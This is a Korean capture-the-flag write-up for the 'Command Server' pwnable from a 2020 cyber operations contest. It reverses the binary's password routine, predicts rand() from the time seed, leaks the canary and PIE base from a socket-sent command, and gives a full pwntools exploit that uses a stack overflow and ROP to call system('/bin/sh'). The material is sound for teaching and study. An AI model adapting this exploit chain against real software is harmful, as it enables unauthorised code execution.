[사이버작전경연대회 2020 예선전] Command Server Writeup

Intro

운영진 및 출제진 분들도, 모든 참가자 분들도 다들 너무너무 수고하셨습니다!

사이버작전경연대회는 고등학교와서 처음 해킹 배우고 나서 처음으로 나간 대회였다!

근데 예상했던 것보다 결과가 잘 나왔다.

 

Command Server 문제는 솔직히 순수 Pwnable이 아닌  Pwnable + Reversing + Network 같은 느낌이었다.

개인적으로 리버싱 정말 못하는데 거의 처음으로 해보는 리버싱 하느라 죽는줄 알았다.

그래도 결국 풀어서 리버싱에 대한 자신감도 생기고 좋은 경험이 되었던 것 같다.

 

개인적으로 아쉬웠던 점이 있다면 command를 보낼때 canary와 pie 주소를 같이 보낸다는 사실을 대회 종료 2시간 전에 깨달아서 급하게 풀고 급하게 롸업쓰느라 제대로 한 게 없었다는 점이 있겠다.

 

Analysis

Memory Protection

checksec으로 보호기법을 확인해보면 다음과 같다

- 64bit ELF

- Full RELRO -> GOT overwrite 불가능

- Canary Found -> RET overwrite 시 주의

- NX enabled -> shellcode 사용 불가능

- PIE enabled -> 바이너리 주소 랜덤화

 

 

 

 

Decompliation

PLT stub가 깨져있다.

덕분에 모든 libc 함수명이 sub_ 이런식으로 나온다.

굳이 복구하지 않아도 어느정도 분석되지만 분석하기 편하게 이걸 복구하기 위해선

리눅스에서 따로 gdb로 디스어셈블리를 하면 함수명이 제대로 나온다.

그래서 따로 gdb를 돌려가면서 함수명을 복원했다.

또한, 디컴파일이 조금 잘못 된 부분이 어느정도 있어서 핸드레이도 같이 했다.

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  unsigned int v4; // eax
  int v5; // eax
  __int128 v6; // di
  __int64 v7; // rdx
  int result; // eax
  unsigned __int64 v9; // rcx
  unsigned __int64 v10; // rt1
  int v11; // [rsp-58h] [rbp-58h]
  unsigned int v12; // [rsp-54h] [rbp-54h]
  __int64 v13; // [rsp-50h] [rbp-50h]
  __int64 v14; // [rsp-48h] [rbp-48h]
  __int64 v15; // [rsp-38h] [rbp-38h]
  unsigned __int64 v16; // [rsp-10h] [rbp-10h]
  __int64 v17; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v17 = v3;
  v16 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(_bss_start, 0LL, 2LL, 0LL);
  srand(time(0LL));
  v5 = rand();
  if ( (unsigned int)password(0LL, v5) )
  {
    puts("Authenticated");
    while ( 1 )
    {
      puts("Hello, Commander.");
      puts("Command, Sir!");
      v13 = create_command();
      puts("Armed and Ready");
      puts("Where is the target, sir?");
      read(0LL, &v15, 300LL);
      printf("Port > ");
      v11 = read_int();
      if ( !v11 )
        break;
      v12 = socket(2LL, 1LL, 0LL);
      memset(&v14, 0LL, 16LL);
      LOWORD(v14) = 2;
      WORD1(v14) = htons((unsigned __int16)v11);
      HIDWORD(v14) = inet_addr(&v15);
      if ( (signed int)connect(v12, &v14, 16LL) < 0 )
      {
        perror("Connect Error: ");
        exit(1LL);
      }
      send(v12, v13, 40LL, 0LL);
      puts("Reporting In!");
      puts("Send Succeed");
      close(v12);
      sleep(3LL);
    }
    result = 0;
  }
  else
  {
    puts("Intrusion Detected! abort");
    result = 1;
  }
  v10 = __readfsqword(0x28u);
  v9 = v10 ^ v16;
  if ( v10 != v16 )
    result = _stack_chk_fail_(v6, *((_QWORD *)&v6 + 1), v7, v9);
  return result;
}

main 함수는 다음과 같은 동작을 한다.

1. srand(time(0)); 을 호출하여 랜덤 시드 값을 설정한다.

2. rand()를 호출하여 랜덤값을 받아온다.

3. 받아온 랜덤값을 인자로 password를 호출한다.

4. password의 반환값이 0이라면 8로 이동한다.

5. create_command를 호출하여 command를 받아온다.

6. 사용자로부터 ip 주소port를 입력받고 socket을 통해 해당 주소로 command를 전송한다.

7. 5로 이동합니다.

8. 메시지를 출력 후 함수를 종료합니다.

 

여기서 주목해봐야 할 점은 크게 두 가지가 있다.

- time(0)으로 랜덤 시드값을 설정한다. 서버에서 바이너리가 실행될때 동시에 현재 시간을 가지고 랜덤 시드값을 설정하여 랜덤값을 생성하면 서버의 랜덤값과 동일한 값을 얻을 수 있다.

- ip주소를 입력받을때 300만큼 입력받는다. v15는 rbp-0x38 위치에 있으므로 BOF를 일으키는데에는 충분하다. 하지만 Canary와 PIE가 걸려있기 때문에 이 취약점만으로는 익스를 할 수 없다. 

 

 

password

__int64 __usercall password@<rax>(__int64 a1@<rbp>, int a2@<edi>)
{
  unsigned int v2; // edx
  __int64 result; // rax
  __int64 v4; // rdx
  __int64 v5; // rcx
  unsigned __int64 v6; // rsi
  unsigned __int64 v7; // rt1
  char v8; // [rsp-61h] [rbp-61h]
  signed int i; // [rsp-60h] [rbp-60h]
  signed int j; // [rsp-5Ch] [rbp-5Ch]
  char v11; // [rsp-58h] [rbp-58h]
  char v12; // [rsp-39h] [rbp-39h]
  signed __int64 v13; // [rsp-38h] [rbp-38h]
  signed __int64 v14; // [rsp-30h] [rbp-30h]
  signed __int64 v15; // [rsp-28h] [rbp-28h]
  signed __int64 v16; // [rsp-20h] [rbp-20h]
  char v17; // [rsp-18h] [rbp-18h]
  unsigned __int64 v18; // [rsp-10h] [rbp-10h]
  __int64 v19; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v19 = a1;
  v18 = __readfsqword(0x28u);
  v13 = 'MMOC EHT';
  v14 = 'MENE DNA';
  v15 = ' REVRESY';
  v16 = 'DROWSSAP';
  v17 = 0;
  puts("Password : ");
  read(0LL, &v11, 32LL);
  v8 = v11;
  for ( i = 0; i <= 30; ++i )
  {
    *(&v19 + i - 80) = *(&v19 + i - 79);
    *(&v19 + i - 80) ^= a2;
    *(&v19 + i - 80) = rotl(*(&v19 + i - 80), (i % 8), 8LL);
  }
  v12 = v8 ^ a2;
  v12 = rotl((v8 ^ a2), 7LL, 8LL);
  for ( j = 0; j <= 31; ++j )
  {
    *(&v19 + j - 80) = rotr(*(&v19 + j - 80), (a2 ^ *(&v19 + j - 48)) & 7);
  }
  result = memcmp(&v11, &v13, 32LL) == 0;
  v7 = __readfsqword(0x28u);
  v6 = v7 ^ v18;
  if ( v7 != v18 )
    result = _stack_chk_fail_(&v11, v6, v4, v5);
  return result;
}

password 함수는 다음과 같은 동작을 한다.

1. 사용자로부터 32byte만큼 password를 입력받는다.

2. 입력받은 password를 특정 루틴을 통해 암호화한다.

3. 암호화한 password가 "THE COMMAND ENEMYSERVER PASSWORD"가 맞는지 비교한다.

4. 같다면 1, 다르다면 0을 반환한다.

 

password 함수에서는 약간의 리버싱이 필요하다.

복잡해보이지만 이 루틴을 분석해서 간단히 나타내보면 다음과 같다.

1. 입력받은 password를 왼쪽으로 한 칸 rotate한다. ex) ABCD -> BCDA

2. 각 password의 문자에 대해 자리번째수를 8로 나눈 나머지만큼 rotl한다.

3. "THE COMMAND ENEMYSERVER PASSWORD"에서 각 password의 문자에 대응하는 문자와 a2를 xor한 값을 8로 나눈 나머지 만큼 rotr한다.

 

그러면 다시 이를 복호화하는 루틴을 짜보면 다음과 같다.

1. "THE COMMAND ENEMYSERVER PASSWORD"에서 각 password의 문자에 대응하는 문자와 a2를 xor한 값을 8로 나눈 나머지 만큼 rotl한다.

2. 각 password의 문자에 대해 자리번째수를 8로 나눈 나머지만큼 rotr한다.

3. 나온 문자열을 오른쪽으로 한 칸 rotate한다. ex) BCDA -> ABCD

 

create_command

__int64 __fastcall create_command(__int64 a1, __int64 a2)
{
  __int64 v2; // rcx
  char v3; // bl
  _BYTE *v4; // rdx
  signed int v5; // eax
  __int64 result; // rax
  unsigned __int64 v7; // rsi
  unsigned __int64 v8; // rt1
  char v9; // [rsp-6Ch] [rbp-6Ch]
  char v10; // [rsp-6Bh] [rbp-6Bh]
  char v11; // [rsp-6Ah] [rbp-6Ah]
  char v12; // [rsp-69h] [rbp-69h]
  char v13; // [rsp-68h] [rbp-68h]
  char v14; // [rsp-67h] [rbp-67h]
  char v15; // [rsp-66h] [rbp-66h]
  char v16; // [rsp-65h] [rbp-65h]
  signed int v17; // [rsp-64h] [rbp-64h]
  signed int i; // [rsp-60h] [rbp-60h]
  signed int j; // [rsp-5Ch] [rbp-5Ch]
  unsigned int k; // [rsp-58h] [rbp-58h]
  signed int l; // [rsp-54h] [rbp-54h]
  __int64 v22; // [rsp-50h] [rbp-50h]
  __int64 v23; // [rsp-48h] [rbp-48h]
  signed __int64 v24; // [rsp-38h] [rbp-38h]
  signed __int64 v25; // [rsp-30h] [rbp-30h]
  signed __int64 v26; // [rsp-28h] [rbp-28h]
  unsigned __int64 v27; // [rsp-20h] [rbp-20h]
  __int64 v28; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v27 = __readfsqword(0x28u);
  v23 = malloc(32LL);
  v24 = 5257443803835484240LL;
  v25 = 8299904789528063931LL;
  v26 = 364575723539944296LL;
  for ( i = 0; i <= 23; ++i )
  {
    v3 = *(&v28 + i - 48);
    *(&v28 + i - 48) = sub_12C0(32LL, a2) ^ v3;
  }
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  for ( j = 0; j <= 31; ++j )
  {
    v9 += *(&v28 + j - 48);
    if ( !(j & 3) )
      v15 += *(&v28 + j - 48);
    if ( j > 19 )
      v16 += *(&v28 + j - 48);
    if ( j & 1 )
    {
      v10 -= *(&v28 + j - 48);
      v12 += *(&v28 + j - 48);
    }
    else
    {
      v10 += *(&v28 + j - 48);
      v13 += *(&v28 + j - 48);
    }
    v11 ^= *(&v28 + j - 48);
    v14 *= *(&v28 + j - 48);
  }
  *v23 = v9;
  *(v23 + 1) = v10;
  *(v23 + 2) = v11;
  *(v23 + 3) = v12;
  *(v23 + 4) = v13;
  *(v23 + 5) = v14;
  *(v23 + 6) = v15;
  *(v23 + 7) = v16;
  v22 = 0LL;
  for ( k = 0; k <= 3; ++k )
    v22 += *(&v24 + k);
  v4 = (v23 + 8);
  *(v23 + 8) = v22;
  v17 = 16;
  for ( l = 0; l <= 7; ++l )
  {
    v2 = (l + 32);
    v5 = v17++;
    v4 = (v23 + v5);
    *v4 = *(&v28 + v2 - 48);
  }
  result = v23;
  v8 = __readfsqword(0x28u);
  v7 = v8 ^ v27;
  if ( v8 != v27 )
    result = _stack_chk_fail_(32LL, v7, v4, v2);
  return result;
}

create_command 함수는 다음과 같은 동작을 한다.

1. v19에 32byte만큼 공간을 할당한다.

2. 함수 내부의 값을 특정 루틴을 통해 암호화하여 할당한 메모리에 저장한다.

3. 할당했던 메모리의 포인터를 반환한다.

 

create_command 함수에서는 딱 보면 별거 없는 것 같지만 디버깅해보면 그 생각이 달라진다.

암호화하는 루틴을 디버깅해보면 다음과 같이 정리할 수 있다.

1. 할당된 메모리의 처음 8byte에는 내부 변수 및 Canary의 값이 복잡하게 암호화되어 저장된다.

2. 그 다음 8byte에는 내부 변수의 값을 랜덤값과 XOR 연산한 값과 Canary의 값을 더한 값이 저장된다.

3. 그 다음 8byte에는 PIE 주소가 그대로 저장된다.

이걸 대회 종료 2시간 전에 깨달았다.. ㅋㅋ

 

1번 루틴은 역연산하기 힘들다. 거의 불가능한 것으로 보인다.

2번 루틴이 더 역연산하기 쉬우니 2번 루틴을 통해 Canary를 구할 수 있다.

3번 루틴에서는 그냥 대놓고 PIE 주소를 준다. 디버깅해보면 _start의 주소가 저장되어있다.

 

Exploit

Attack Scenario

위에서 분석한 내용을 토대로 공격 시나리오를 구성해보면 다음과 같다.

1. rand() prediction

서버에 접속하는 동시에 랜덤값을 생성하여 서버의 랜덤값을 구할 수 있다.

C코드를 짜보면 다음과 같다.

#include <stdio.h>
#include <stdlib.h>

void main() {
    srand(time(NULL));
    for(int i=0; i<25; i++)
        printf("%d ", rand() & 0xFF);
}

password에서 때 1번, create_command에서 24번 랜덤값을 생성하므로 총 25번 랜덤값을 생성했다.

생성한 랜덤값을 이용해 password를 구할 수 있고, Canary를 역연산할 수 있게 된다.

2. receive command

nc listener를 켜놓고 현재 ip주소와 listener의 port를 입력하면 socket을 통해 command를 전송해준다.

이를 받아서 Canary와 PIE 주소를 얻어낼 수 있다.

3. ROP (Return Oriented Programming)

Canary와 PIE 주소를 알아냈으니 이제 ROP만 하면 끝난다.

puts를 이용해 libc leak을 하고, 다시 main으로 돌아와서 system("/bin/sh");을 실행하면 된다.

다만 여기서 주의해야할 점은 크게 두 가지가 있다.

- 나는 libc leak을 하고 main으로 다시 돌아왔다. 아무리 생각해도 다른 방법이 생각이 안 났다. 그래서 sfp를 0x4141414141414141로 보내면 안 되기에, 대충 스택 주소가 있을 지점(0x00007ffffffde000)으로 보내주었다.

- libc 2.27 이후의 버전에서는 system을 호출하면 내부적으로 do_system이 호출되는데, 이 함수 내에서 movaps 명령이 실행된다. 근데 이 movaps 명령은 레지스터가 16으로 정렬되어있지 않으면 그냥 시스템이 죽는다. 그래서 ROP를 할 때 ret가젯을 하나 넣어주어서 레지스터를 16으로 정렬해주어야 한다.

 

Exploit Code

위 공격 시나리오를 바탕으로 익스플로잇 코드를 작성하면 다음과 같다.

exploit.py

from pwn import *

def str2list(s):
    return list(map(u8, s))

def list2str(l):
    return ''.join(map(p8, l))

def get_password(r):
    def rotl(x, s):
        return ((x << s) & 0xFF) | (x >> (8 - s))
    def rotr(x, s):
        return ((x << (8 - s)) & 0xFF) | (x >> s)

    password = str2list("THE COMMAND ENEMYSERVER PASSWORD")
    for i in range(32):
        password[i] = rotr(rotl(password[i], (r ^ password[i]) & 7), i % 8) ^ r
    password = [password[-1]] + password[:-1]
    return list2str(password)

def get_canary(leak, r):
    v = str2list(p64(0x48F63148D2314850) + p64(0x732F2F6E69622FBB) + p64(0x50F3BB05F545368))
    for i in range(0x18):
        v[i] ^= r[i]
    v = list2str(v)
    canary = u64(leak) - ((u64(v[0:8]) + u64(v[8:16]) + u64(v[16:24])) & 0xFFFFFFFFFFFFFFFF)
    canary = canary + 0x10000000000000000 if canary < 0 else canary
    return canary

p = remote("127.0.0.1", 56789)
r = map(int, process("./rand").recv().split(" ")[:-1])
e = ELF("./command")
libc = e.libc
l = listen(port=1234)

p.sendafter(":", get_password(r[0]))
p.sendlineafter("?", "127.0.0.1")
p.sendlineafter(">", str(l.lport))

command = l.recv()
canary = get_canary(command[8:16], r[1:])
pie_leak = u64(command[16:24])
pie_base = pie_leak - e.sym["_start"]

log.info("canary = " + hex(canary))
log.info("pie leak = " + hex(pie_leak))
log.info("pie base = " + hex(pie_base))

payload = str()
payload += 'A' * 0x28 # dummy
payload += p64(canary) # ssp bypass
payload += p64(0x00007ffffffde000) # stack address
payload += p64(pie_base + 0x1c63) # pop rdi ; ret
payload += p64(pie_base + 0x3F30) # puts@got
payload += p64(pie_base + 0x1190) # puts@plt
payload += p64(pie_base + e.sym["main"]) # return to main

p.sendlineafter("?", payload)
p.sendlineafter(">", "")

r = map(int, process("./rand").recv().split(" ")[:-1])
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = leak - libc.sym["puts"]
log.info("libc_base = " + hex(libc_base))
p.sendafter(":", get_password(r[0]))

payload = str()
payload += 'A' * 0x28 # dummy
payload += p64(canary) # ssp bypass
payload += p64(0x00007ffffffde000) # stack address
payload += p64(libc_base + 0x26b72) # pop rdi ; ret
payload += p64(libc_base + libc.search("/bin/sh").next()) # binsh address
payload += p64(libc_base + 0x26b73) # ret -> no movaps die
payload += p64(libc_base + libc.sym["system"]) # system address

p.sendlineafter("?", payload)
p.sendlineafter(">", "")

p.interactive()

참고로 대회 끝나고 nc 서버가 빛의 속도로 닫혀버려서 로컬 환경에 nc 서버를 직접 열어놓고 익스플로잇 했다.

listen.py

from pwn import *

l = listen(56789)
l.spawn_process("./command")
l.wait_for_connection()
l.wait_for_close()

이렇게도 nc 서버를 구축할 수 있더라.. 약간 좀 꿀팁이 될 수 있을 것 같다.

 

 

댓글